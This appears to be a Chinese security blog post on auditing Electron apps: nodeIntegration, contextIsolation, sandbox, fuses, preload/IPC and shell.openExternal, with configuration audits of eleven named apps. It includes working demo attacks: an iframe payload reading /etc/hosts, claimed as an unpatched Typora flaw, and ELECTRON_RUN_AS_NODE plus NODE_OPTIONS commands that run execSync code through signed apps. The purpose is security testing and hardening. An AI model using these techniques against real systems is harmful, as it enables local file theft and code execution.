文件前先用记事本之类的程序打开看一下,确定没有恶意代码后再打开
对于蚁剑来说,每一个渲染的点,如果没有处理好 XSS
问题,就可能会被反制,因此建议在隔离环境中使用
通过 package.json
的 main
获取到程序入口的 js
文件
可以看到,Yakit
中 nodeIntegration
设置为 true
,这也就意味着一旦 Yakit
出现 XSS
可能就会被直接反制,也就是 RCE
,所以这里也建议大家放在隔离环境使用
由于 nodeIntegration: true
而导致 RCE
的案例就太多了,可以参考上面的应用程序漏洞案例中的 Typora
,那 18
个漏洞绝大多数都是
如果应用程序开启了
nodeIntegration
,那一定要注意 dompurify 这种负责过滤有害javascript
代码的程序的版本,低版本可能会被绕过具体可以参考
Typora
的部分案例
https://www.electronjs.org/zh/docs/latest/tutorial/security#3-%E4%B8%8A%E4%B8%8B%E6%96%87%E9%9A%94%E7%A6%BB
上下文隔离, 从 Electron 12.0.0
版本开始默认开启(true
)
这个属性是主进程创建渲染进程窗口控制渲染进程是否具备覆盖 JavaScript
方法的能力,如果该属性设置为 false
,渲染进程一旦出现 XSS
等漏洞,能够执行覆盖 Javascript
代码,配合预加载脚本及主进程定义好的功能,可能会导致 RCE
漏洞
可以看到,Yakit
的上下文隔离被关闭了,一旦出现 XSS
漏洞,也是比较危险的
由于 contextIsolation
导致的 RCE
也是不少的,可以参考上面的 Discord
中 RCE by @kinugawamasato
章节
https://www.electronjs.org/zh/docs/latest/tutorial/security#4-%E5%90%AF%E7%94%A8%E8%BF%9B%E7%A8%8B%E6%B2%99%E7%9B%92%E5%8C%96
https://www.electronjs.org/zh/docs/latest/tutorial/sandbox
Chromium
的一个关键安全特性是,进程可以在沙盒中执行。 沙盒通过限制对大多数系统资源的访问来减少恶意代码可能造成的伤害 — 沙盒化的进程只能自由使用 CPU
周期和内存。 为了执行需要额外权限的操作,沙盒处的进程通过专用通信渠道将任务下放给更大权限的进程。
从 Electron 20
开始,渲染进程默认启用了沙盒,无需进一步配置
配置沙盒后,能够阻止 iframe
中的恶意内容影响渲染进程乃至主进程,因此对于部分想通过 <embed>
得到 RCE
目的的攻击中绕过沙盒执行代码通常是其中的一个环节,可以参考上面的 Discord
中的 RCE by electrovolt
https://www.electronjs.org/zh/docs/latest/tutorial/security#6-%E4%B8%8D%E8%A6%81%E7%A6%81%E7%94%A8-websecurity
webSecurity
是开启同源策略的,默认即开启
关闭 webSecurity
可能导致加载其他域的 JavaScript
脚本,具体参考应用程序漏洞案例中的 Goby
发现 Goby
漏洞时,发现者发现有很多安全限制,之后通过加载外部 url
的 JavaScript
进行了绕过,当然即使不使用外部 JavaScript
可能也可以绕过,但是关闭 webSecurity
使 Goby
的过滤规则更容易被绕过
https://www.electronjs.org/zh/docs/latest/tutorial/security#19-check-which-fuses-you-can-change
https://www.electronjs.org/zh/docs/latest/tutorial/fuses
https://npmjs.com/package/@electron/fuses
fuse
直接翻译过来是保险丝,我也不知道到底怎么翻译比较好,Electron
既然是为了所有桌面开发者准备的,那自然就会附带比较全的功能,但是这并不是对所有开发者都有意义,因此 Electron
提供了关闭部分功能的 fuse
,当然,有 fuse
自然就有状态, Electron
默认会开启和关闭一些 fuse
,具体参照上面的参考链接
看起来好像不多,我们可以说一说
fuse | 作用 | 默认状态 |
---|---|---|
runAsNode | runAsNode 是否考虑ELECTRON_RUN_AS_NODE 环境变量。请注意,如果禁用此fuse ,则主进程中的process.fork 将无法按预期运行,因为它依赖于此环境变量来运行 | Enabled |
cookieEncryption | cookieEncryption 磁盘上的cookie 存储是否使用操作系统级别的加密密钥进行加密。默认情况下,Chromium 用于存储cookie 的sqlite 数据库以明文形式存储值。如果您希望确保您的应用程序cookie 以与Chrome 相同的方式加密,则应启用此 fuse | Disabled |
nodeOptions | nodeOptions 是否考虑NODE_OPTIONS 环境变量。此环境变量可用于将各种自定义选项传递到Node.js 运行时,并且通常不被生产中的应用程序使用。大多数应用程序可以安全地禁用此 fuse | Enabled |
nodeCliInspect | nodeCliInspect 是否遵守--inspect 、--inspect-brk 等标志。禁用时,它还确保 SIGUSR 1 信号不会初始化主进程检查器。大多数应用程序可以安全地禁用此保险丝。 | Enabled |
embeddedAsarIntegrityValidation | embeddedAsarIntegrityValidation 是 macOS 上的一项实验性功能,该功能在加载 app.asar 文件时验证其内容。此功能旨在将性能影响降至最低,但可能会略微降低从 app.asar 存档中读取文件的速度 | Disabled |
onlyLoadAppFromAsar | onlyLoadAppFromAsar 改变了Electron 用来定位应用程序代码的搜索系统。默认情况下, Electron 将按照以下顺序搜索 app.asar -> app -> default_app.asar 。当这个fuse 被启用时,搜索顺序变成了一个单一条目的 app.asar ,从而确保当与embeddedAsarIntegrityValidation fuse 结合使用时,不可能加载未经验证的代码。 | Disabled |
loadBrowserProcessSpecificV8Snapshot | loadBrowserProcessSpecificV8Snapshot 更改浏览器进程使用的V8 快照文件。默认情况下, Electron 的进程都将使用相同的V8 快照文件。启用此fuse后,浏览器进程将使用名为browser_v8_context_snapshot.bin 的文件作为其V8 快照。其他进程将使用它们通常使用的V8 快照文件 | Disabled |
grantFileProtocolExtraPrivileges | grantFileProtocolExtraPrivileges 从 file:// 协议加载的页面是否被赋予超出它们在传统Web 浏览器中所获得的权限的权限。在Electron 的原始版本中,这种行为是Electron 应用程序的核心,但不再需要,因为应用程序现在应该从自定义协议中提供本地文件。如果您不从 file:// 中提供页面,则应禁用此fuse | Enabled |
这是 2024-04-09
时存在的 fuse
以及默认状态,我觉得并没有很好遵循 默认即安全 的原则
我觉得 runAsNode
、nodeOptions
、nodeCliInspect
、grantFileProtocolExtraPrivileges
设置为 Disabled
会比较好,但官方的态度与我相反
https://www.electronjs.org/zh/blog/statement-run-as-node-cves
看看后续 Electron
后续会不会进行更改默认情况吧
检查一个应用程序的 fuse
设置
https://www.electronjs.org/zh/docs/latest/tutorial/fuses#how-do-i-flip-the-fuses
需要安装 @electron/fuses
依赖包
npm i @electron/fuses
读取软件包的 fuse
设置
npx @electron/fuses read --app /Applications/Foo.app
可以看到 Yakit
采用了默认的配置,由于这部分是让大家了解自己使用的 Electron
程序的安全性,所以不做详细的结束细节说明,放在下一节,这里简单描述
RunAsNode
和 EnableNodeOptionsEnvironmentVariable
处于 Enabled
状态,那么攻击者如果以该程序来加载 Nodejs
代码,进而实现利用有签名的程序代码执行。当然,前提是攻击者已经具备命令执行了
EnableNodeCliInspectArguments
会开启远程调试功能,远程调试的结果也是任意代码执行
以上的特性都可能在 MacOS
上造成权限提升,这是由于 MacOS
的 TCC
继承导致的,更多细节查看下面的视频
https://www.youtube.com/watch?v=VWQY5R2A6X8
https://www.electronjs.org/zh/docs/latest/tutorial/process-model
预加载脚本很重要,但是对于没有了解过 Electron
的朋友们并不容易理解,可以先阅读上面的流程模型,就可以了解 Electron
的架构
简单粗略来说,Electron = Nodejs + Chromium
, Nodejs
负责系统交互,可以理解为主进程,Chromium
负责页面渲染,可以理解为渲染进程
比较常见的配置是禁止渲染进程执行 Nodejs
代码,同时开启上下文隔离,此时如果渲染进程想要使用操作系统或者硬件的部分功能怎么办呢? 通过 IPC
通信,主进程定义好功能,之后渲染进程只传递数据,这样就可以保证 XSS
不会轻易导致 RCE
,但是如果所有渲染进程都可以发 IPC
也很危险,所以在主进程与渲染进程之间吧,设置了一种叫做预加载脚本的东西Preload
,会在创建窗口的时候指定
预加载脚本可以执行部分 Nodejs
代码,毕竟它要代表渲染进程与主进程通信嘛,但是危险的方法都用不了,之后通过一种官方定义的桥将方法暴漏给渲染进程,这样渲染进程直接调用方法就好
预加载脚本检查主要是看两点
Nodejs
模块等IPC
通信的对象直接暴露给渲染进程预加载脚本文件检查过程中要与主进程关联着看,IPC
通信是有 暗号
的,一一对应
还是以 Yakit
为例
我们看一下 preload.js
的代码
Yakit
在这方面不具备什么代表性,因为它的渲染进程具备执行 Nodejs
的能力
我们看一下官方的案例
https://www.electronjs.org/zh/docs/latest/tutorial/ipc
这是一个渲染器进程到主进程通信的案例,我们将从渲染器进程打开一个原生的文件对话框,并返回所选文件的路径。
可以看到主进程创建窗口前,先使用 ipcMain.handle()
创建了监听,并且提供了 “暗号”以及对应的处理程序
预加载脚本 preload.js
通过 contextBridge
向渲染进程暴漏了方法 electronAPI.openFile()
,这样如果渲染进程想要打开原生的文件对话框,就调用 electronAPI.openFile()
方法就可以了,调用后,预加载脚本中 ipcRenderer
向主进程发送 “暗号” dialog:openFile
,主进程就明白过来了,交给 handleFileOpen
函数进行处理
回到我们刚才提到的两点检查项
是否存在危险方法
如果有一些方法是预加载脚本传递命令字符串,主进程负责执行并返回,那这就属于危险方法了
是否存在过度暴露
如果预加载脚本直接将 ipcRenderer
暴漏给渲染进程,而不是上面的 electronAPI.openFile()
,那就属于过度暴露
如果上下文隔离被设置为 false
,那渲染进程里写的内容就已经没有那么重要了,因为每一个方法都可能被渲染进程覆盖,只能看主进程的实现上有没有危险的内容
https://www.electronjs.org/zh/docs/latest/tutorial/security#7-content-security-policy%E5%86%85%E5%AE%B9%E5%AE%89%E5%85%A8%E7%AD%96%E7%95%A5
内容安全策略(CSP
) 是应对跨站脚本攻击和数据注入攻击的又一层保护措施。 我们建议任何载入到 Electron
的站点都要开启。
内容安全策略属于是一种白名单机制,能够有效的防止外部 JavaScript
注入执行等,建议开启,检查方法也比较简单,就要窗口加载的 html
中是否设置了策略即可
如果是开发模式,就以 HTTP
形式加载,如果不是,就用 HTML
文件,我们直接找到文件
似乎没有看到 CSP
相关设置
如果有的话,应该是这样
<meta http-equiv="Content-Security-Policy" content="default-src 'none'">
当然,如果有 CSP
设置,也要看一下是否配置合理
https://www.electronjs.org/zh/docs/latest/api/protocol#protocolregisterschemesasprivilegedcustomschemes
这个部分是经常产生漏洞的地方,检查也就是看其是否合理,有没有目录浏览,目录穿越等,导致的问题主要是本地文件泄漏和远程代码执行
具体漏洞案例参考应用漏洞案例章节的 Typora
中部分案例
以上 10 点基本可以让普通的用户把一个 Electron
开发的程序安全性摸个差不多了,对于 nodeIntegration
设置为 true
的程序要尤为注意
对于编辑器类程序,尤其是 Markdown
这种支持 html
的编辑器,如果没有做好安全配置,打开 .md
等文件一定要提前用记事本或其他程序看一下有没有恶意内容
对于涉及与外部交互的程序,建议尽可能在隔离环境运行,或者与开发者交流,交流一下意见
Electron
目前除了 fuse
,其他的已经基本遵循默认即安全的原则了,所以对于正确配置了安全策略的程序,如果不是用了老旧的 Electron
版本,安全性还是有保障的
仅仅想了解自己使用的程序安全性的朋友们可以撤了,接下来的部分要面向测试人员了
如果你想测试 Electron
程序,你至少应该把 Electron
官网的内容都看一遍,大概心里有个数,上面的 10 点是测试的基本,我们需要对部分内容进行深入以及补充
https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/electron-desktop-apps
这个选项默认为 false
,如果 nodeIntegration
设置为 true
,那么渲染进程可以执行 Nodejs
,但是 iframe
这种嵌入并不能执行 Nodejs
,如果同时 nodeIntegrationInSubframes
设置为 true
,那么 iframe
就也可以执行 Nodejs
了,这非常危险
如果 nodeIntegrationInSubframes
设置为 true
, nodeIntegration
设置为 false
,那么 Preload
脚本将在所有的 iframe
中也加载
其他的选项可以参考
https://www.electronjs.org/zh/docs/latest/api/browser-window
在 Electron
中可以使用快捷键打开开发者工具
shift + ctrl + i
ALT + Cmd + i
部分程序集成在了菜单中
如果 Electron
应用没有启用asar
完整性检查,也可以添加下面代码进行开启开发者工具
win.webContents.openDevTools()
https://www.electronjs.org/zh/docs/latest/tutorial/devtools-extension
重新打包后运行可能就开启开发者工具了
很多程序在本地 127.0.0.1
开启 web
服务,之后 Electron
从中调用 API
获取数据等,此时有两种方法可以观察此请求
一个是 Wireshark
,一个是配置代理,修改 asar
中 package.json
中的启动参数
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
应该也可以使用 proxychains
这类的应用进行,这个可以以 Goby
为例,因为 Goby
有日志,可以发现端口,当然也可以通过配置处找到端口
尝试 Wireshark
抓包
这样就可以看到数据包了,用其他程序代理到 burp
也是极好的
Electron
中定义了两个事件与这件事相关
new-window
will-navigate
这两个事件能够有效防止攻击至少要满足两个条件
导航不会被绕过
这点主要看 Electron
版本,是存在部分版本有被绕过的先例,参考应用漏洞案例中的 Discord
事件处理代码健硕
这个主要看开发者对于事件处理是否合理,是否存在被绕过的可能,也可以参考 应用漏洞案例中的 Discord
,也算是一个案例吧
这点在应用程序漏洞案例章节 Typora
系列漏洞中有体现,主要是路径处理得有问题,导致本地文件加载甚至 RCE
除此之外,还有一个问题需要我们考虑 shell.openExternal
https://www.electronjs.org/docs/latest/tutorial/security#15-do-not-use-shellopenexternal-with-untrusted-content
shell.openExternal
用来使用默认的方式打开链接,这就导致如果使用 file://
协议就可以打开二进制文件,而且还支持远程加载,在 Windows
上打开 smb:\\
就可以从远程加载 exe
在本地执行,还有很多利用方法
所以测试过程中要检查 shell.openExternal
加载的内容是否可控
https://benjamin-altpeter.de/shell-openexternal-dangers/
https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8
除了上面介绍的读取/执行本地文件,在一些不安全的 Electron
版本以及配置中,一些嵌入式标签甚至可能直接将 src
设置为本地文件地址,进而造成本地文件读取,经过我的测试, Typora
中最新版仍然存在此漏洞,这也算是个 0day
了吧
<br><BR><BR><BR>
<h1>pwn<br>
<iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}
</script>
在 MacOS
上,如果按照默认的 fuse
,那么将会允许远程调试和将Electron
程序作为 Nodejs
程序来启动两件事,这两件事对我们攻击来说都十分有利
https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection
当 RunAsNode
设置为 Enabled
时,可以通过设置环境变量 ELECTRON_RUN_AS_NODE=1
来执行 Nodejs
代码
还是以 Yakit
为例,首先看一下 fuse
设置
RunAsNode
为 Enabled
,此时我们可以通过以下命令,执行 Yakit
,但实际上会打开一个 node shell
ELECTRON_RUN_AS_NODE=1 /Applications/Yakit.app/Contents/MacOS/Yakit
也就是说这个 fuse
可以让任意一个 Electron
程序成为一个 nodejs shell
,在一些情况下是个不错的工具
将 Payload
保存至 payload.js
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator');
通过 nodeOptions
进行执行
NODE_OPTIONS="--require ./payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Yakit.app/Contents/MacOS/Yakit
这个就是之前的远程调试了,详情参见
https://mp.weixin.qq.com/s/C2frOpRWwaF_IBcEg-6YIQ
不过这里有师傅研究得更加详细,上面也提到了
https://www.youtube.com/watch?v=VWQY5R2A6X8
由于 MacOS
的 TCC
权限继承,导致远程调试获取的权限可能大于启动远程调试的用户权限,造成提权;又由于 MacOS
对于签名校验方面的特性,即便后续修复了程序,仍然可以使用就程序完成此攻击
我虽然使用 MacOS
,但是对于 MacOS
安全并不是了解很多,所以推荐大家去看视频
视频中演讲的安去研究员还开发了一个程序,专门用来做这类攻击
https://github.com/r3ggi/electroniz3r
只给了源代码,使用 xcode
即可编译,我第一次使用就编译成功了,所以不复杂
之前 Discord
最后一个漏洞就是用这个工具做的证明,这种漏洞也申请到了 CVE
我用这个工具将电脑中的 Electron
程序列了出来,这倒是很方便
剩下的技巧都在之前的漏洞分析中了,做 Electron
要对前端安全知识有足够的了解
我们既然对 Electron
程序安全测试有了一些认识,我们就实测一下我电脑中的一些 Electron
的安全性吧
由于绝大多数代码都进行了混淆,这里就以 Electron
本身的版本、安全配置、fuse
角度来看一看吧
我们都采用 2024-04-10
最新版
https://gobysec.net/#dl
2.9.2
ELECTRON_RUN_AS_NODE=1 /Applications/Goby.app/Contents/MacOS/Goby
process.versions
版本是 16.2.8
nodeIntegration: true,
contextIsolation: false,
nodeIntegrationInSubFrames: true,
webSecurity: false,
enableRemoteModule: true,
Goby
的安全配置看起来几乎是将所有的安全措施都关闭了,全靠代码来维护安全,建议在隔离环境运行
Analyzing app: Goby.app
Fuse Version: v1
RunAsNode is Enabled
EnableCookieEncryption is Disabled
EnableNodeOptionsEnvironmentVariable is Enabled
EnableNodeCliInspectArguments is Enabled
EnableEmbeddedAsarIntegrityValidation is Disabled
OnlyLoadAppFromAsar is Disabled
使用的是默认配置
https://www.yaklang.io/
应用程序版本
1.3.1-sp6
27.0.0
nodeIntegration: true,
contextIsolation: false,
sandbox: true
两大重要安全措施均为配置,建议在隔离环境运行使用
默认配置
Analyzing app: Yakit.app
Fuse Version: v1
RunAsNode is Enabled
EnableCookieEncryption is Disabled
EnableNodeOptionsEnvironmentVariable is Enabled
EnableNodeCliInspectArguments is Enabled
EnableEmbeddedAsarIntegrityValidation is Disabled
OnlyLoadAppFromAsar is Disabled
LoadBrowserProcessSpecificV8Snapshot is Disabled
https://discord.com/
0.0.299 (0.0.299)
28.2.7
nodeIntegration: false,
sandbox: false,
enableRemoteModule: false,
contextIsolation: true,
所有的安全措施基本上都正确配置了,可以放心使用
Analyzing app: Discord.app
Fuse Version: v1
RunAsNode is Enabled
EnableCookieEncryption is Disabled
EnableNodeOptionsEnvironmentVariable is Enabled
EnableNodeCliInspectArguments is Enabled
EnableEmbeddedAsarIntegrityValidation is Disabled
OnlyLoadAppFromAsar is Disabled
LoadBrowserProcessSpecificV8Snapshot is Disabled
默认配置
https://code.visualstudio.com/
1.88.0
28.2.8
preload: h.$Cg.asFileUri("vs/base/parts/sandbox/electron-sandbox/preload.js").fsPath,
additionalArguments: [`--vscode-window-config=${R.resource.toString()}`],
v8CacheOptions: this.h.useCodeCache ? "bypassHeatCheck" : "none",
enableWebSQL: !1,
spellcheck: !1,
zoomFactor: (0, i.$oD)(W.zoomLevel),
sandbox: !0
只配置了 sandbox
,其他安全配置都是默认配置,默认即安全,可以正常使用,而且 VSCode
还有自己单独的严格模式
默认配置
https://xmind.cn/
24.0.14362
未能成功获取
webSecurity: true,
nodeIntegration: true,
webviewTag: true,
contextIsolation: false
只显式地开了跨域防护,其他安全措施没有配置,建议隔离环境运行
https://signal.org/zh_CN/
6.10.1
未能成功获取
nodeIntegration: false,
nodeIntegrationInWorker: false,
sandbox: false,
contextIsolation: !(0, import_environment.isTestEnvironment)((0, import_environment.getEnvironment)()), // true
除了 sandbox
被设置为了 false
,其他安全配置都设置了,想要造成 RCE
攻击还是比较困难的,可以正常使用
Analyzing app: Signal.app
Fuse Version: v1
RunAsNode is Disabled
EnableCookieEncryption is Enabled
EnableNodeOptionsEnvironmentVariable is Disabled
EnableNodeCliInspectArguments is Disabled
EnableEmbeddedAsarIntegrityValidation is Enabled
OnlyLoadAppFromAsar is Enabled
LoadBrowserProcessSpecificV8Snapshot is Disabled
这个fuse
配置给我整感动,终于有一个 app
跟我想法一样了
https://www.bilibili.com/
1.13.2
21.3.3
未能成功获取
https://www.docker.com/products/docker-desktop/
4.29.0 (145265)
https://pan.baidu.com/
4.32.1
这个 electron
版本偏低
有至少四个相关配置,应该是对应不同的窗口的,但是没有看出来哪个是主窗口,不过没关系,可以看到关键的几个安全配置
nodeIntegration: true,
nodeIntegrationInWorker: true,
enableRemoteModule: true,
contextIsolation: false,
基本上安全配置都没有设置,因此如果出现 XSS
,很容易导致 RCE
,建议隔离环境使用
在这个版本还没有引入 fuse
https://pan.quark.cn/
3.1.9
18.3.5.17-1a44cfa97d
夸克网盘不同窗口有不同的策略,但是大部分如图中所示,关闭了所有的安全措施,建议在隔离环境中使用
https://youku.com/
9.2.49
未获取到版本
webSecurity: false,
allowRunningInsecureContent: true,
nodeIntegration: true,
enableRemoteModule: true,
contextIsolation: false
关闭了所有安全配置,而且还引用了非常危险的 remote
模块,建议在隔离状态下运行
应该是这个版本支持的 fuse
比较少
通过对 11
款程序最新版本的测试,发现安全性堪忧,国外的几款做得相对优秀,具体大家可以自己看上面的测试结果
最近出现的 xz
后门事件,让我有了写这篇文章的想法,我希望使用 Electron
能够有能力透过应用程序精美的外观看到应用内部的安全情况
我们实在是很难确定到底还有多少类似 xs
后门这类事件,但目前已经表现出来的是:很多的开源贡献者做了很伟大的程序,但是在后期维护过程中苦不堪言,这完全可以理解,有些时候,这些优秀产品的产生仅仅是因为创作激情,但是维护带来的正向情绪会越来越少,维护的热情也会逐渐消失
我们在公众号 5000
关注者的时候曾经承诺将大家的赞赏翻倍传递给这些开源贡献者,也是处于这种考虑,希望能对这种现状有一点点帮助
https://pan.baidu.com/s/1MoNBPVnG8xpVqCzFZDLS1w?pwd=vt92
提取码: vt92